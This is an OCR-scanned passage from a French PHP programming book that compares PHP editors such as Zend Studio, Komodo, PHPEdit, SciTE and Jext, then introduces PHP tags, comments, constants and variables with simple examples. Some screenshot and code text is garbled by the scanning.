L'editeur offre toutes les fonctions de base necessaires : completion du code PHP et HTML, completion 
egalement pour les variables, liste des fonctions disponibles dans un fichier, visualisation des fichiers en 
includes, coloration syntaxique, edition du meme fichier depuis differentes fenetres, edition de fichiers 
depuis un serveur FTP, etc. Le debogage est possible en local, et egalement en direct sur des serveurs 
distants. Cela permet ainsi de controler I'execution de PHP sur les serveurs de production. Le debogueur 
integre est particulierement performant. La suite Zend inclut egalement un centre d'administration pour 
configurer et administrer les serveurs, ainsi qu'une application d'aide complete et fonctionnelle. On 
remarque aussi la presence du Zend Optimizer, logiciel optimisant le code PHP et permettant I'execution 
de code camoufle (obfusque). II supporte la version 5 de PHP. Au rang des dernieres nouveautes, on 
trouve les templates de code, personnalisation des schemas de coloration, debogage actif ou passif, 
transmission securisee des fichiers (publication par SFTP et FTP sur SSH). Certainement I'une des 
solutions les plus abouties et les plus completes pour la creation d'applications en PHP. 




Maguma Studio 
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Figure 2.24 : Maguma Studio 
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Tableau 2.2 : Maguma Studio 



CO 

E 



cvi 



Maguma Studio 


version 1.3.2 


Editeur 


Maguma. 


Langue 


Anglais. 


OS 


Windows. 



Langage supporte 



PHP. 



Prix 



69 € pour l'editeur. Existe une version gratuite limitee. 



URL 



www.maguma.com 



Principales fonctionnalites et commentaire 

La plateforme Maguma integre, en plus d'un editeur puissant, toute une architecture de travail en 
commun, allant du client au serveur en passant par une interface d'administration generale. 
L'editeur offre la numerotation des lignes, la coloration syntaxique, une edition multi-fichiers, une aide 
PHP integree, une aide MySQL integree, une aide HTML integree, un gestionnaire de fichiers, un 
gestionnaire FTP, un visualiseur HTML interne, une visualisation/execution depuis l'editeur, un 
debogueur interne ou externe, un explorateur de code PHP, I'insertion assistee de code HTML, 
I'insertion assistee de code CSS, I'insertion assistee de code PHP, I'auto-completion PHP, la gestion 
des abreviations (code template), le commentaire des fonctions/classes, la recherche des paires 
[]{}() et le RegExp en mode recherche. 



NuSphere PHPEd 
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Figure 2.25 : NuSphere PHPEd 
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Tableau 2.3 : NuSphere PHPEd 



NuSphere PHPEd 

Editeur 
Langue 
Plateformes 



version 3.3 

NuSphere. 

Anglais. 

Windows, Linux, Solaris 



Langages support.es 


PHP, HTML. 


Prix 


299 $US. 


URL 


www.nusphere.com/products/phpadv.htm 



Principales fonctionnalites et commentaire Ajout de code depuis des modeles, debogueur de 
code, interfagage avec des serveurs de bases de donnees (support en natif de PostgreSQL), gestion 
de projets, connexion en FTP, FTPS, WebDAV/HTTPS, gestion du travail en equipe, debogage de 
sessions, optimisation du code, etc. PhpED offre une completion automatique du code qui supporte la 
programmation orientee objet. Le "PHP Profiler" integre vous aide dans votre developpement et 
permet de constater sa progression et I'optimisation de son code. Des fonctionnalites originales pour 
une solution vraiment complete. 




Les specialistes 



Tous les editeurs presentes ici ont un debogueur integre, a l'exception de Jext qui compense ce 
manque par une kyrielle de fonctionnalites et d'add-on. 
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Figure 2.26 : Komodo 
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Tableau 2.4 : Komodo 



CO 

E 



cvi 



Komodo 

Editeur 
Langue 
Plateformes 
Langages support.es 

Prix 



version 3 

ActiveState. 

Anglais. 

Windows et Linux. 

C, C++, Diff, Eiffel, HTML, Java, Javascript, Latex, Lisp, PHP, 
Pascal, Perl, Python, tcl, vb, XML, XLT, etc. 

La version 1.1 est gratuite dans le cadre d'une utilisation en milieu 
enseignant, ou a visee educative. La version 1 .2 est telechargeable 
en evaluation pour 21 jours, puis payante. De 29,5 $US a 296 $US 
selon les types de licences. 



URL 



www.activestate.com/Products/Komodo/ 



Principales fonctionnalites et commentaire 

Numerotation des lignes, coloration syntaxique, multi-fichiers, aide PHP integree, aide MySQL 
integree, aide HTML integree, gestionnaire de projets, gestionnaire de fichiers, gestionnaire de favoris, 
gestionnaire FTP, liste de "reste a faire" (todo), rechargement automatique des derniers fichiers, 
visualiseur HTML interne, visualisation/execution depuis I'editeur, debogueur interne ou externe, 
macros, explorateur de code PHP, explorateur de code HTML, insertion assistee de code HTML, 
insertion assistee de code CSS, insertion assistee de code JavaScript, insertion assistee de code 
PHP, insertion code template, auto-completion PHP, gestion des abreviations (code template), 
commentaire des fonctions/classes, recherche des paires []{}(), indentation / desindentation de 
blocs, commentaire de blocs, partage de la fenetre d'edition, RegExp en mode recherche, archivage 
des fichiers/projets, selecteur de couleurs. 

Developpe autour du navigateur Mozilla auquel il s'integre et de I'editeur Scintilla. Un petit module 
permet de tester ses expressions regulieres avec visualisation du resultat en temps reel. Possibilite de 
cacher le code des classes, fonctions et blocs (outlining). "Debug" pour Perl, Python, PHP etXSLT. 
Affichage des parametres requis lors de I'utilisation d'une fonction. Rechargement des derniers 
fichiers, gestionnaire FTP. La version comporte son lot d'ameliorations et d'ajouts de fonctionnalites 
(dont le support de PHP5). La liste des nouveautes est consumable a cette adresse : 
http://aspn.activestate.eom/ASPN/docs/Komodo/3.0/relnotes.html#New_Features. 
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PhpCoder 



W PHP Codei Pid! [UntilledO] 



File Edit Find FfunlDshug] Preset Tools Vie'. 
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■ Ci&Bes and Functions 
• Jp Native PHP Functions 
-MJP jpgraph_canvas.php 
{■■■-[H Includes 
B-^5 CanvasGraph [Graph] 

$ CanvasGiaphcolor:[$aWidth=; 
1 StrokeftaStrokeFileName^"'] 



.php ] 



i // prisii tildes . Useful to ai.>_. ; 

1 // graphic which benefits from all the . 

( // graph liek caching for es: 

I// 

class CanvasGraph extends Graph I 



arbi Srary 
nality in t. 



24 // CONSTRUCTOR 

25 function CanvasGraphcolor SaliJidt 11=300, SaHeiglit=200, SaCachedNarne=" 

26 Sthis->Graph. SaWidth SaHeiglit, SaCacliedName, $ time Out, $ inline) ; 



23 // 

30 // P77BLTC Mi 7.:. 



// Method description 

function Stroke ( SaStrokeFileName " 

if ( Sthis->texts != null ) { 

for(Si=0; SKcounr [?this->rex-c 
Sthis->texts[Si] ->Stroke [?thls 



;■ 



;■ 



39 


// Stzeas 


the generated picture 


40 


Sthis->ea 


che->PutAndSicrestti 5this->img 5 


41 


} 




42 


} // Class 




43 


/* EOF */ 




44 


?> 
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Figure 2.27 : PhpCoder 



Tableau 2.5: PhpCoder 




PhpCoder 


version R2 Prerealese 3 


Editeur 


phplDE.de. 


Langue 


Anglais. 


Plateforme 


Windows. 


Langage supporte 


PHP. 



Prix 
URL 



Gratuit. 



www.phpide.de 

Principales fonctionnalites et commentaire 

Numerotation des lignes, coloration syntaxique, multi-fichiers, aide PHP integree, aide MySQL 
integree, gestionnaire de projets, visualiseur HTML interne, visualisation/execution depuis I'editeur, 
debogueur interne ou externe, insertion assistee de code HTML, I'auto-completion PHP. Un clone de 
PHPEd quasi conforme, mais qui necessite encore quelques ameliorations. 
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PHPEdit 
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CO 
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_ ^ Unftled-1 

-^ - rt_l ipgraph_canv.3s.php 
B 2§i Canvas Graph 

t Canv*Graph 
L __ Slroke 



// CONSTRUCTOR. 

function CanvasGraph [ .'■ -:."■"..':. '.,h=300, 5aHeight=200, 5aCachedNallle-' , ' , , S t.iiiieout=0, S inline=:l ) { 
Sthi_->GEapli[SaUidtli, SaHeight, SaCachedName, Stimeout, S inline] ; 



// PUBLIC METHODS 



function Stroke [ ■ ■■.QkeFileNanie^'") I 
if [ 5this->-cexts '= null ) { 

for [Si=Q; SKcount [ Sthi_->texts) ; ++S 
?this->texts[?i]->Stroke [ 5this->img) ; 



r\ 



.che->PutAndSr 



ra[5ir:his->img, 5this->cache_naine.. : : ~his->inline, SaSi:.: 



} // Class 
/* EOF */ 



INS Dos -■-:- Moved to hi-is^L' 



Figure 2.28 : PHPEdit 



Tableau 2.6: PHPEdit 



PHPEdit 

Editeurs 



Version 1.0.3.68 

Waterproof SARL 



Langue 


Anglais, frangais, allemand, espagnol. 


Plateforme 


Windows et Linux. 


Langage supporte 


PHP. 


Prix 


Gratuit pour une utilisation personnels, version professionnelle a 75 € 
HT (Open Source). 


URL 


www.phpedit.com 



Principales fonctionnalites et commentaire 

Reste longtemps a la version 0.6, PHPEdit a tenu ses promesses et comble ses lacunes de jeunesse. 
II est disponible en frangais avec une documentation complete et de tres nombreuses fonctionnalites. 
Les dernieres versions ont apporte un generateur d'aide, des raccourcis personnalisables, plus de 
100 commandes scriptables, le mappage de clavier personnel, un gestionnaire de todo. L'editeur offre 
egalement : numerotation des lignes, coloration syntaxique, multi-fichiers, aide PHP integree, aide 
MySQL integree, aide HTML integree, gestionnaire de fichiers, visualisation/execution depuis l'editeur, 
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PHPEdit 



Version 1.0.3.68 



debogueur interne ou externe, explorateur de code PHP, insertion assistee de code PHP, gestion des 
abreviations (code template), commentaire des fonctions/classes, indentation/desindentation de 
blocs, commentaire de blocs, RegExp en mode recherche L'explorateur de code est excellent ; il 
separe bien les fonctions et classes de chaque fichier, et hierarchise correctement les methodes des 
classes. Appreciable egalement : la fonction d'autocomment des classes et fonctions. Le systeme 
d'insertion assistee de code PHP, similaire a celui du VBA, est agreable (plus que celui de PHPEd), et 
I'affichage des parametres requis d'une fonction native par simple placement du curseur entre 
parentheses est vraiment pratique. On apprecie egalement la possibilite d'imprimer avec les numeros 
de lignes et la mise en valeur des mots-cles. Un petit gestionnaire de copier/coller fonctionnant en 
drag and drop est interessant. S'il etait possible de I'integrer en tant que panneau lateral plutot que 
de le laisser en fenetre libre, ce serait encore plus pratique. Dommage qu'aucun choix de langue ne 
soit propose, d'autant qu'il s'agit d'une production frangaise. L'absence de toute documentation est 
vraiment penible, car nombre de petits gadgets assez deroutants de prime abord meriteraient une aide 
un peu plus substantielle. 




SciTE 



- °J * 



Edit Search View Tools Options Help 



class EditorOxStyl ed Text Ctrl ) : 

PyCrust Editor based on wxStyledTextCtrl , 

revision = version 

def _ : (sel f , parent, id) : 



def 



g(self): 



def 



s(self, faces): 



i(self. event): 



def OnChaKself, event): 

"Keypress event handler. 



\ -r = -. ~r-. I r '. : d-r* > 

currpos - sel f .GetCurrentPosO 
stoppos = sel f .promptPos[1 ] 
if currpos >= stoppos: 
if key == 46: 

# "," The dot or period key activates auto completion. 

# Get the command between the prompt and the cursor. 

# Add a dot to the end of the command. 

command - sel f .GetTextRange(stoppos , currpos) + '.' 
sel f .write( ' . ') 
if sel f .autoCornplete: sel f.autoCornpleteShow( command 

elif key — 40: 

# "(" The left paren activates a call tip and cancels 

# an active auto completion. 

if sel f .AutoCompActiveC): self .AutoCompCancel O 

# Get the command between the prompt and the cursor. 

# Add the '(' to the end of the command, 
command - self. Get 
sel f .write { ' ( '[ 
if self.autoCa" 

else: 

# Allow the normal 
event. SkipO 

else: 

pass 



def setStatusText(sel f , text): 

Display status information, 



GetCurrentPos 

GetCurrentLine 
I GetCurLine 
fietTextl enath 



^J 



owCcomrnand) 






, 



Figure 2.29 : SciTE 



105 



Chapitre 2 Prise en main 



CO 

E 



cvi 



Tableau 2.7 : 


SciTe 




SciTE 




version 1.61 


Editeur 




Neil Hodgson. 


Langues 




Anglais, Frangais, Allemand. 


Plateformes 




Windows et Linux. 


Langages support.es 


C, C++, C#, Eiffel, Java, Js, Latex, Lisp, Pascal, Perl, Php, Python, 
Sql, Vbscript, XML, etc. 


Prix 




Gratuit (Open Source). 


URL 




www.scintilla.org 



Principales fonctionnalites et commentaire 

Numerotation des lignes, coloration syntaxique, multi-fichiers, gestionnaire de projets, rechargement 
automatique des derniers fichiers, visualisation/execution depuis l'editeur, debogueur interne ou 
externe, macros, insertion assistee de code PHP, auto-completion PHP, gestion des abreviations 
(code template), recherche des paires []{}(), commentaire de blocs, RegExp en mode recherche. 
L'editeur offre egalement la recherche dans des fichiers non ouverts. Peut se placer en mode reduit 
dans la barre des taches. II ne pese que 500 Ko avec sa DLL. On peut zoomer et dezoomer du code 
en cours d'edition. Permet de masquer I'affichage (outlining) logique des blocs d'un texte (HTML) ou 
d'un script. On peut done masquer le corps des fonctions (d'un bloc if /end, par exemple) d'un 
simple die (ou par (ctrf)+Q). On peut ainsi obtenir le squelette d'un script en n'affichant plus que le 
nom des classes, les fonctions et les commentaires. II est egalement possible d'effectuer une 
inversion rapide des lignes (ligne courante avant la suivante). L'editeur se configure via des fichiers, 
ce qui est un peu lourd. La configuration par defaut est plutot restreinte ; nombre de possibilites ne 
sont pas visibles de prime abord. Les fichiers pour le frangais ne sont pas inclus dans I'archive, mais 
on peut les recuperer sur : www.scinlilla.org/locale.fr.properties. Le chargement en memoire est quasi 
instantane sur un Pill 533 MHz, ce qui est loin d'etre le cas de bien des editeurs. 
On ne trouve pas de macros ni de gestion de projets en natif, mais ce manque est compense par un 
add-on FilerX. II n'existe pas d'explorateur de code. Trap de fonctions interessantes sont desactivees 
par defaut. Lisez bien la documentation pour connaitre toutes les possibilites de parametrage. C'est 
vraiment l'editeur a ne pas manquer pour sa legerete et sa puissance, d'autant que les sources four- 
nies (projet Scintilla) permettent de greffer ses propres fonctions. C'est d'ailleurs I'editeur qui est inte- 
gre dans Komodo. 

Voici quelques "trues" pour activer des fonctions interessantes. Pour activer I'outlining, il faut decom- 
menter la ligne fold.html=i dans le fichier html. properties, et la ligne foid=i dans lefichier 
sciteglobal. properties. Dans ce dernier, vous pouvez egalement mettre la valeur a la ligne 
fold, symbol. Pour afficher les numeros de lignes, il faut decommenter la ligne line. number 
dans le fichier sciteglobal. properties, et lui mettre une valeur de 30. Pour pouvoir ouvrir plusieurs 
fichiers, il faut decommenter la ligne buffers dans le fichier sciteglobal. properties, et lui mettre 
la valeur de 10 par exemple. 
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Jext 
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File Edit Search Tooij Plufjins Je:«l 
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I 1^ I^J * Find: 



J PHP 



■fr Collapse ^ Expand (3? Reload 



9 Qmmi 

©-□ Html 

O- □ Head 

O- C] Body 

O- _J Fonts 

©■ Cj Special 

O- _J Images 

O- _J Links 

®- □ Applets 

O- _J Forms 

O- _J Tables 
©■ C] HTML Characters 
9 GiPhp 

O- □ Blocks 

9 Q Comments 

O- _J Loops 
9 Q MySQL 

Q connect 

FD select dbase 
Q close 

query 

1 letch 






□ Add A Line Break 

V! Execute Scripts 

E Selection Surrounding 

^3 53 - <>.-M - 9fa 



\ HI jpgraph_canv 
c?php 

/*== = == = ==: 

// File: 

// Created: 
// Author: 
// Ver: 

// 



s.php | 



Canvas drawing extension tor JpGraph 

2001-01-03 

Johan rersson (johanpSaditus.nu) 

fid: jp^raplicsnras.p.iio,!' 1. 9 2002/03/30 18:24:47 i 

This code is released under QPI. 



// Ccpyrio-iit fc; 2001,20'; 



// CLASS CanvasGraph 

, .... . . .~ _, : i ,. . ,-. ,. . -.. i :.. ... 

.'./ sight be used tog-ether with the basic Image drawing 
//primitives. Useful to auickoly produce some arbitrary 
// graphic which benefits from all the functionality in the 
// graph liek caching- for example. 

class CaiwasG-raph extends Graph 

// 

// CONSTRUCTOR 

function CamrasGraph $aWidth 300 $aHeicjM 200 $aCacliedHame $ timeout $inline 1 

$t.his Graph $alFL(lth $aHeiqht $a>Cache(IMaine Stimeout $inline 



, .. . ■ .-; 



,'/ Method description 
iunction Stroke SaStroXeFileHaiv 
if $this texts null '■ \ 

for Si $i count $thls texts 

Sthls texts $i Stroke $this 



$i) { 

img 




Figure 2.30 : Jext 



Tableau 2.8: Jext 



Jext 



version 5 



Editeur. 


Romain Guy. 


Langues. 


Frangais, anglais. 


Plateformes 


Java (multi-plateforme). Necessite JRE 1.301 ou JDK 1.2. 



Langages supported 



Prix 



PHP, ASM, ASP, C, C#, C+ + , Eiffel, HTML, XML, Java, Perl, Python, 
Sql, Shell scripts, etc. 

Gratuit (OpenSource). 



URL 



www.jext.org 



Principales fonctionnalites et commentaire 

Numerotation des lignes, coloration syntaxique, multi-fichiers, gestionnaire de projets (add-on), 
gestionnaire de fichiers, gestionnaire de favoris, gestionnaire FTP (add-on), rechargement 
automatique des derniers fichiers, explorateur de code PHP, insertion assistee de code HTML, 
insertion assistee de code PHP, auto-completion PHP, gestion des abreviations (code template), 
recherche des paires []{}(), indentation/desindentation de blocs, commentaire de blocs, RegExp en 
mode recherche. 
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Jext version 5 



ro 



C\J 



REMARQUE 



Avec ses add-on, cet editeur est particulierement interessant. II offre ainsi un systeme de bureau, 
c'est-a-dire une liste de fichiers ouverts faisant partie, par exemple, d'un meme programme. II est 
possible de creer plusieurs bureaux, et done de disposer d'un gestionnaire de projets basique mais 
efficace. Un add-on "Wapppaaa" permet d'ouvrir en une operation I'ensemble des fichiers contenus 
dans un repertoire et ses sous-repertoires. L'add-on Xinsert permet de gerer ses code template de 
maniere hierarchique, et cela pour chaque langage voulu. II autorise I'inclusion automatique du texte 
selectionne dans le template choisi. L'add-on FindAII permet, en double-cliquant sur un mot, et en 
E appuyant sur (cm) + (ft), d'obtenir toutes ses occurences dans une liste selectionnable ; e'est tres 

utile pourtrouver les occurrences d'une variable ou d'une fonction. Les recherches sont, de plus, 
memorisees. L'add-on ProjectMaster remplacera utilement le gestionnaire de projets CodeMaster 
fourni par defaut, car il s'integre directement dans le panneau lateral. Bien que plutot axe Java, il peut 
etre utilise en PHP. Jext dispose d'un langage de script integre, Dawn. On appreciera egalement le 
systeme One Clic : il suffit de selectionner une commande de ce menu, par exemple Ajouter un 
commentaire simple, puis de cliquer sur chaque ligne que I'on veut commenter, et e'est tout. La 
commande selectionnee s'applique a chaque ligne cliquee tant que I'option One Click n'est pas 
arretee. L'add-on Code2Html transforme le fichier en cours (ou la selection) en fichier HTML, tout en 
conservant la coloration syntaxique. Ideal pour publier le code source d'un langage quelconque de 
maniere attrayante. De nombreux autres add-on sont disponibles : console systeme, skins, 
impression avec numeros de lignes, tri de lignes... En bref : e'est un excellent editeur. II n'est pas 
inutile de lire la documentation (en frangais ou en anglais) pourtirer parti de toutes ses possibilites. 



Le choix des auteurs 

A titre purement indicatif, les auteurs de cette Bible utilisent, par ordre de pagaille : 
Vi, Emacs, Nedit, Wordpad, le bloc-notes ou encore UltraEdit pour programmer en 
PHP. Vous le voyez, aucun editeur specialise... Comme quoi, ce n'est (decidement !) 
vraiment pas Vediteur qui fait le developpeur. 



Dreamweaver et GoLive 

Au depart, ce sont des outils de creation de sites web destines aux graphistes et webmestres 
Aujourd'hui, et tout particulierement dans les dernieres versions, les deux editeurs supportent 
particulierement bien PHP. On peut, par exemple, facilement creer des pages contenant des 
objets en PHP en puisant dans des bibliotheques pretes a 1'emploi. Les deux editeurs ont 
integre le travail avec des bases de donnees (GoLive est vendu avec Apache, PHP, JSP et 
MySQL). Sans aller jusqu'au serveur de debogage de Zend, a installer directement sur les 
machines de production, Dreamweaver et GoLive ont depasse le simple stade du "wysiwyg" 
(what you see is what you get ou, vous voyez ce que vous avez). Les deux logiciels disposent 
d'une composante de travail collaboratif. II est meme possible de travailler avec Webdav, ou 
meme d'avoir une gestion centralisee du code source. 

L'interet des logiciels de creation de sites web dans le cadre d'un developpement en PHP reste 
limite. Si une page contient uniquement un developpement original en PHP, il sera inutile 
d'aller l'editer dans Dreamweaver. De meme, quel interet peut-il y avoir a developper toute 
une application en PHP dans un logiciel comme GoLive, largement plus performant dans le 
Webdesign ? 

108 



Les editeurs et debogueurs PHP 



Dans une optique PHP, Dreamweaver et GoLive restent de tres bons outils d'integration finale 
et d'habillage des developpements en PHP. Un meilleur support de PHP reste un point positif. 
Cela signifie, par exemple, qu'un graphiste aura plus de souplesse pour travailler une page 
contenant du code PHP. 



>?fc Quelques site d 'editeurs 

%!W Document traitant des editeurs, redige pour I'universite McGill au Canada : 

internet www.cs.mcgill.ca/~navindra/editors/ 

Vi: 

http://vim.sourceforge.net/ 

Emacs : 

www.gnu.org/software/emacslemacs.html 

UltraEdit : 

www.ultraedit.com/ 



©Pages per sonnelles de Stephane Pineau 
Dictionnaire francophone des acronymes informatiques : 
internet www.teaser.fr/~spineau/acrodict/index.htm 

Script PHP 3 gratuits (forum, gestionnaires BDD, etc.) : 
http://steph.pineau.free.fr/php/index.php3 




109 



Chapitre 3 



Le langage PHP 
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Integrer le code PHP au HTML 



3.1. Integrer le code PHP au HTML 



Comme cela a deja ete dit dans l'introduction, le langage PHP est un langage de script qui 
s'insere dans des pages HTML, et les parties ecrites en langage PHP sont declarees au moyen 
de balises reconnues par le serveur. 

Le code PHP s'ecrit done avec un editeur de texte et Tutilisation des editeurs "wysiwyg" (what 
you see is what you get) s'arrete lorsque Tecriture du langage PHP commence. 




Vous pouvez voiis reporter a la section "Les editeurs" pour choisir le votre. 

RENVOI 

Le principe de fonctionnement de PHP est assez simple : le serveur va effectuer un travail 
d'interpretation avant de retourner le resultat (generalement une page HTML) au client 
(classiquement un navigateur Internet). 

L'avantage par rapport a l'HTML est alors considerable, puisqu'il est ainsi possible de 
concevoir des sites dits dynamiques. C'est-a-dire que, d'une fois sur l'autre, une page peut 
changer de contenu sans qu'aucune intervention humaine ne soit necessaire. 

Prenons le cas d'un forum : il est souhaitable que, des qu'une personne soumet une question, 
celle-ci soit disponible sur le site. C'est un cas typique d'utilisation d'un site Internet 
dynamique. Le langage PHP permettra alors de creer une page HTML a partir de ce message 
(et des autres messages disponibles dans la base de donnees). 

II faut toujours garder a l'esprit que c'est un langage de script qui est execute cote du serveur ; 
il ne depend done ni du navigateur ni du systeme d'exploitation du visiteur. L'avantage est 
indeniable puisque ce langage permet, a partir d'informations de nature differente, (base de 
donnees, heure actuelle, configuration du client, etc.) d'envoyer des pages dont on peut etre sur 
qu'elles seront comprehensibles par le navigateur du client (a condition de programmer 
proprement). 



Les balises 

Les parties correspondant au code PHP sont declarees au moyen de balises. II existe plusieurs 
types de balises en fonction de vos preferences, habitudes, et de la configuration de PHP sur le 
serveur ou tournera vos scripts. 

II existe quatre differents types de balises regroupes dans le tableau ci-apres : 

Tableau 3.1 : Les differentes balises 

Balise Remarque 

<?php ... ?> Ce type de balise est le plus courant. II est accepte par defaut par 

I'interpreteur. 

<script Ce type de balise est egalement accepte par defaut par 

ianguage= " php " >... I'interpreteur. 

</script> 
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Balise 



Remarque 



<? ... ?> 






Ces balises courtes sont appelees "short tags". Elles ne sont pas 
acceptees par defaut, cela fait partie de la configuration de PHP. 

Ces balises sont la pour obtenir les memes balises que pour I'ASP. 
Elles ne sont pas acceptees par defaut, cela fait partie de la 
configuration de PHP. 
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RENVOI 



Vous pouvez vous reporter au chapitre "Prise en main" afin de voir comment 
configurer PHP pour utiliser les balises qui vous serviront. 



Pour ceux qui veulent en ecrire le moins possible, il existe aussi deux autres types de balises qui 
ont pour effet de simplifier la syntaxe lorsque vous souhaitez simplement afficher du texte avec 
la commande echo. 



Ainsi <? echo "toto" ?> peut etre avantageusement remplace par <? = 

echo "toto" %> par <%= "toto" %>. 



?> et <% 



Ne vous eloignezpas des balises... standard 

Si vous ecrivez vos premiers scripts, utilisez le premier type de balises (< ?php... ?>). 
cohseil En effet, celui-ci est compris de Vensemble des serveurs, car il ne depend pas de lew 
configuration. Le troisieme est le type pour faineants, mais peut se retourner contre 
vous. . . car, si vous ne pouvez pas accedera la configuration du serveur apres en avoir 
change, il vous faudra modifier toutes les balises ! De mime, il ne faut pas oublier 
que, si vous voulez distribuer votre script, il vous faut un script qui fonctionne sur 
n 'importe quel serveur muni de PHP. 



Mon premier script 



Le premier script PHP est un grand classique ; il ne fait qu'afficher une phrase. 

<html> 
<head> 

<title>Mon premier script</title> 
</head> 
<body> 
<?php 
echo "Mon premier script qui n'affiche 

que du texte en attendant mieux..."; 
?> 

</body> 
</html> 
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Ici, a l'interieur d'un script HTML classique, on a insere des balises PHP dans lesquelles on a 
place une seule instruction, echo, qui affiche simplement la chaine de caracteres qui suit. 

Le separateur d'instructions est classiquement le point-virgule ; il peut etre omis apres la 
derniere instruction d'un bloc PHP (ici, en Toccurrence, il aurait pu etre omis). 

Ce fichier, qui sera stocke sur le serveur, va etre interprets puis envoye au client (le navigateur 
Internet du visiteur) quand celui-ci y fera appel. 



: Mon premier script - Netscape 6 



^ Fichier Edition Afficher Rechercher Aller a Signets Taches Aide 



l-l|n||x| 



(j Cj (jW (jj Q Khttp://localhost/d 1 ap03_01.php | | Q, RecherchiT| <53q 

a i 



Mon premier script qui n'affiche que du texte en attendant mieux.. 



Ei ,a 



D"ir-grt ■ ^rr- r j [j.-^l ;' 



Figure 3.1 : Ce que vena le visiteur 

Comme nous pouvons le constater en reclamant le code source du document regu, le resultat de 
l'interpretation ne laisse plus apparaitre de code PHP. 




.... Fichier Edition Afficher Aide 



<litml> 
<bead> 

<title>Hon premier script</title> 

< /"bead> 
<p>Mon premier script qui n'affiche q'^e d - j texte en attendant miejx. . .</pX/html> 



Figure 3.2 : Le code source regu par le client 

Les balises PHP peuvent etre placees n'importe ou dans le script ; le script suivant donnera le 
meme resultat : 

<html> 
<head> 

<title>Mon premier script</title> 
</head> 
<body> 
<?php 

echo "Mon premier script" 
?> qui n 1 affiche <?php 
echo "que du texte en attendant mieux..."; 
?> 

</body> 
</html> 

Dans le cas present, l'utilite n'est pas flagrante, mais nous verrons des cas d'applications lorsque 
nous etudierons les boucles de controle. 



115 



Chapitre 3 Le langage PHP 



»0 



Client-serveur 

II faut bien comprendre la logique client I serveur : d'un cote le serveur est charge 
d' 'interpreter le code PHP et d'envoyer au client (le navigateur Internet du visiteur) le 
resultat de V interpretation. De I'autre, le client se contente d'afficher la page 
correspondant au code source envoye. 

II n' est done pas question de demander a PHP d'agir sur le client. Vous ne trouverez, 
par exemple, aucune fonction permettant de suivre le deplacement de la souris, et 
toute modification du contenu de la page passe necessairement par une nouvelle 
interrogation du serveur (i.e. affichage d'une nouvelle page ou, eventuellement, 
reaffichage de la page avec de nouveaux parametres). 

En contrepartie, le client n'a pas a interpreter PHP, ce qui implique que la machine 
31 n'a pas besoin d'outils specif iques, ni de beaucoup de ressources : e'est le serveur qui 

fait tout le travail ! 



a> 



03 

en 



_2 

0} 



3.2. Les commentaires 

Pour commenter ses scripts et permettre ainsi de les rendre plus clairs, il existe trois facons 
de faire : 

Tableau 3.2 : Les differentes fagons d'inserer des commentaires 

Notation Remarque 

# commentaire Le texte entre le signe # et la fin de la ligne sera en commentaire. 

Cette fagon de noter est celle des scripts shell. 

/ / commentaire Le texte entre / / et la fin de la ligne sera en commentaire. 

/ * Tout le texte entre / * et * / sera en commentaire. 

commentaire 
*/ 



Listing 3.1 : Exemple de script avec commentaires 

<?php 

echo "Ligne suivi d'un commentaire"; # commentaire fagon shell 
echo "Ligne suivi d'un commentaire";// commentaire fagon C 
/* commentaire 

sur 

plusieurs 

1 ignes 

7 

echo "Ligne entre 2 blocs de commentaires"; 
/* commentaire 

* sur 

* plusieurs 
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CONSEIL 



* lignes 

* plus lisibles 

7 

/* cette 
parti e 

est commentee 

// ce type de commentaire bien qu 1 inutile ici est valable 
# celui ci aussi peut etre imbrique 

7 
?> 



Un petit commentaire ? 

Les commentaires sont importants pour s'y retrouver ; Us le sont plus encore quand 
vous relisez un script qui date deplusieurs mois. Mais cela n'a rien de nouveau et est 
valable pour n 'importe quel langage. . . 
Privilegiez ['utilisation des // et /* * / et evitez #. 



A 



ATTENTION 



Nepas imbriquerles commentaires /* */ 

Vous ne pouvez pas placer * / a Vinterieur d'un commentaire entre /* et */. Par 

exemple, le script suivant provoquera une erreur : 




<?php 

/* je mets des remarques parce que je le veux bien 

/* j'aime tenement les remarques que je les imbrique */ 

V 
?> 

Au moment de l'interpretation, les commentaires sont supprimes ; ils ne sont done pas envoyes 
au client, et, ainsi, ne ralentissent en rien l'envoi de la page. Encore une bonne raison pour user 
et abuser des commentaires... 



3-3. Les constantes 

PHP permet de definir des constantes, autrement dit des chaines de caracteres representant 
une valeur figee (chaine de caracteres, nombre ou booleen). Les constantes se declarent par 
l'instruction define ( ) . 

Ainsi, 

define("LANGAGE", "PHP"); 
define("VERSION", 4); 

cree deux constantes, LANGAGE et VERSION, qui peuvent etre utilisees tres naturellement ; 
echo LANGAGE." ".VERSION; 
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retournera ainsi 

PHP 4 

Outre les constantes que vous pourrez definir, PHP propose ses propres constantes dont : 

php_version qui contient le numero de version de PHP (ex. : "4.3.2"). 

php_os qui contient le nom du systeme d'exploitation sous lequel PHP tourne ("Linux", 
"WINNT", "WIN32", "HP-UX", "ADC, etc.). 

file qui contient le chemin complet du script actuellement lu (s'il s'agit d'un script 

inclus, c'est done bien le chemin complet du script qui est retourne et non celui du script 
appele). 

line qui contient le numero de la ligne actuellement executee. 

Existent aussi les constantes true (vrai) et false (faux) et les constantes de niveau d'erreur 
que nous presenterons plus loin. 



Les constantes sont accessibles depuis n 'importe quel endroit du code, y compris a 

Vinterieur des fonctions. Voir a ce sujet la section concernant "les fonctions" et la 
RENVOI 

portee des variables. 



3.4. Les variables 
Definition et syntaxe 

Les variables sont destinees a stocker les donnees qui seront utilisees et pourront etre modifiees 
lors de l'execution du programme. Le langage PHP, tout comme le langage Perl, utilise une 
forme particuliere de syntaxe pour definir une variable. Les variables sont representees avec un 
caractere '$' prefixant l'identification de cette variable. Par exemple, pour declarer une 
nouvelle variable de nom "mavariable", il suffit de l'appeler $mavariable a l'interieur du 
code source. 

Contrairement au langage comme le C, PHP n'exige pas la declaration prealable des 
identificateurs avant leur utilisation. Les variables sont done dites non typees, e'est-a-dire 
qu'une variable peut prendre une valeur de chaine de caracteres et, ensuite, etre utilisee pour 
contenir un entier. Le type est defini a l'affectation de cette variable. C'est en partie cette 
grande souplesse d'utilisation qui fait de PHP un langage simple et rapide d'acces. 

Dans l'exemple ci-dessous, vous pouvez constater la simplicity d'utilisation des variables : 

<?php 

SmaVariable = "0"; 

// $maVariable est une chaTne de caracteres 

$maVariable = $maVariable + 1; 

echo $maVariable; 

// Renvoie "1" et est maintenant un entier 
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$maVariable = 1; 

// $maVariable est a present un entier 

$maVariable = $maVariable / 2; 

// $maVariable est maintenant du type double 

$maVariable = 1 + "2 Vive le PHP !"; 

echo $maVariable; 

// $maVariable est du type entier et renvoi e 3 

?> 

